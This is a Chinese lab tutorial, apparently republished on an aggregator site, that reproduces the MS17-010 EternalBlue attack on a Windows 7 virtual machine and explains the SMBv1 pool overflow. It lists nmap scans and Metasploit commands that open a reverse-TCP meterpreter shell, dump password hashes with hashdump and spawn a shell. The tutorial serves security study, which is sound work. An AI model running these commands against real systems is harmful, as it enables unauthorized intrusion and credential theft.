当前位置: 首页 > news >正文

MS17-010永恒之蓝复现

准备工作

攻击机kali+靶机Windows7

靶机获取方式:

MSDN, 我告诉你 - 做一个安静的工具站

推荐安装版本Windows 7 Professional with Service Pack 1 (x64),使用迅雷拉取镜像即可。

VMware部署Windows7:

VMware虚拟机安装win7教程(图文版 超详细!)_win7虚拟机-CSDN博客

在kali和Windows7上使用虚拟网卡,使用自定义网段,网络模式使用仅主机模式

Windows7配置,确保SMB服务启动,在控制面板->网络和Internet->网络和共享中心->更改高级共享设置->启用网络发现、启用文件打印和共享。

确认开启:控制面板->程序->程序与功能->打开或关闭Windows功能->看到启用了打印和文件服务

确保kali和Windows7网络互通

查看Windows7系统补丁情况,确定未打KB4012212 / KB4012215 / KB4012218补丁

攻击步骤

kali探测靶机是否开放445端口SMB服务

nmap -p445 192.168.198.128

确认开放服务后使用nmap脚本检测漏洞

nmap -p445 --script smb-vuln-ms17-010 192.168.198.128

使用MSF打靶机

启动MSF后搜索漏洞模块

msfconsole
search ms17-010

选择第一个模块,里面写了适用的范围有Windows7

msf6 > use exploit/windows/smb/ms17_010_eternalblue

设置靶机地址

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHoSTS 192.168.198.128

设置攻击主机地址

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.198.129

这里因为靶机和kali在同一网段就不用写路由

设置payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

执行攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

成功获取权限后

执行命令,查看系统信息

meterpreter > sysinfo

查看当前用户权限

meterpreter > getuid

导出系统hash

meterpreter > hashdump

打开cmd控制台

meterpreter > shell

MS17-010是什么

        MS17-010是一组针对SMBv1的漏洞补丁(含CVE-2017-0143/44/45/46/47/48),其中CVE-2017-0144就是永恒之蓝。

漏洞原理:

  • 协议与代码交汇点:问题出在内核驱动 srv.sys 处理 SMBv1Trans/Trans2/NT Transaction 请求时,对 OS/2 扩展属性(FEA)列表 的长度计算出现错误。

  • 具体失误:在将 FEA 列表转换为 NT FEA 列表的过程中(函数族常被分析为 SrvOs2FeaListToNt / SrvOs2FeaToNt),长度计算/类型截断 等缺陷导致为目标缓冲区分配的内存 偏小,后续拷贝产生 内核非分页池(Large Non-Paged Pool)越界写

  • 为什么危险:越界写会覆盖相邻内核对象(常见是 SRVNET 的缓冲区结构),从而劫持函数指针/回调或结构字段,最终把执行流导向攻击者控制的数据。

要点:这是 长度计算缺陷 → 非分页池溢出 → 覆盖相邻结构 → 控制执行流 的经典链条;触发面是 未经认证的 SMBv1 请求。微软的官方公告将其定性为“向 SMBv1 服务器发送特制消息即可 RCE”。

简单来说就是:SMBv1 在处理特制的报文时存在 缓冲区越界写入(buffer overflow),攻击者可以通过精心构造的 SMB 包,在 未经身份认证的情况下远程执行任意代码

http://www.dtcms.com/a/342251.html

相关文章:

  • Prometheus+Grafana 监控体系搭建:从入门到告警配置
  • open3d-点云函数:变换:旋转,缩放、平移,齐次变换(R,T)等
  • 从“卡脖子”到“自主可控”!电科金仓+东华医为生态协同,打造医疗新范式
  • postman接口自动化测试
  • NavA3——双VLM架构下的先“推理解析”后“定位导航”:理解任意指令,导航至任意地点,查找任意目标
  • opencv基础学习与实战(3)图像形态学与边缘检测
  • langgraph快速搭建agent后端和react前端
  • TOC语法源码生成脚本:基础易纷呈,进阶心渲染(python)
  • 基于 Flask 与 Milvus 构建高效图片搜索引擎,可通过API接入,支持Docker一键部署
  • java学习 1504 统计全1子矩形 + python生成ppt部分思路
  • 项目从 MySQL 切换 PostgreSQL,踩了太多的坑
  • elementui附件上传自定义文件列表,实现传完即可预览、下载、删除,二次封装el-upload
  • yggjs_react使用教程 v0.1.1
  • yggjs_rlayout 科技风主题后台管理系统实战
  • React:Umi + React + Ant Design Pro的基础上接入Mock数据
  • nuxt3 404页面 如何写
  • 当云手机进入不了游戏怎么办?
  • 1504. 统计全 1 子矩形
  • windows中bat脚本中一些操作(一)
  • 关于 VScode 无法连接 Linux 主机并报错 <未能下载 VScode 服务器> 的解决方案
  • 强化学习算法分类与介绍(含权重更新公式)
  • 从vue2到vue3
  • VASPKIT模版INCAR笔记
  • K8s快速上手-微服务篇篇
  • 【ZeroNews】OpenWrt路由器小存储开启内网穿透
  • 2025年8月新算法—云漂移优化算法(Cloud Drift Optimization Algorithm, CDO)
  • C++ this 指针
  • 2025-08-21 Python进阶2——数据结构
  • Rancher部署的K8S集群服务节点上执行 kubectl 命令
  • JavaCV + Spring 实现高效 RTSP 视频流帧缓存与管理